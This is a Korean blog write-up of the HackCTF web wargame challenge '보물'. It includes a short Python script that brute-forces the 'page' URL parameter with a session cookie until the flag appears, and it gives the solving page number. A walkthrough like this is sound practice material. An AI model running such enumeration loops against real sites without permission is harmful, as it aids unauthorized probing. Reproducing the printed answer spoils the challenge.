Wargame/Hack CTF
HackCTF Web - 보물 write up
9ucc1
2020. 7. 29. 22:28
반응형
문제에 제시된 사이트 접속
페이지에 제시된 버튼을 눌러보자
page1 버튼을 누르니 page 파라미터를 통해 1이란 값을 받는 것을 알 수 있다
페이지 숫자 중에 비밀이 있고, 그곳에 보물을 숨겨놓았다고 한다
page1 버튼을 눌렀을 때 변한 것이 하나 더 있다.
암호화(?) 되어있는 듯한 문자열이 출력되었다.
이를 통해 페이지 파라미터로 어떤 특정 수를 전달해주면 Flag가 나올 것이라 예측하고 풀어볼 수 있다.
python 코드를 짜서 브루트포싱 공격(무차별 대입 공격)을 해보자
HackCTF 사이트에서의 Flag 형식은 HackCTF{~~~} 이기 때문에
페이지 수를 1씩 증가시키면서 요청을 보내고
만약 Flag가 바로 출력이 된다면 페이지 번호를 출력하고 반복문을 종료하는 코드를 작성했다.
import requests
cookies = {'session' : '~~~'}
i = 1
while True:
url = 'http://ctf.j0n9hyun.xyz:2025/?page=' + str(i)
res = requests.get(url, cookies=cookies)
res = res.text
print(str(i) + '번째 시도')
if 'HackCTF' in res:
print(i)
break
i += 1
(requests 모듈을 통해 사이트에 요청을 보낼 때 쿠키를 전달해야 하는 경우,
cookies의 값은 딕셔너리 형태로 전달해주어야 한다. )
실행시켜보면
1225번째에서 멈춘다.
이 숫자를 URL 뒤 ?page= 에 붙여넣으면
http://ctf.j0n9hyun.xyz:2025/?page=1225
Flag를 얻을 수 있다
반응형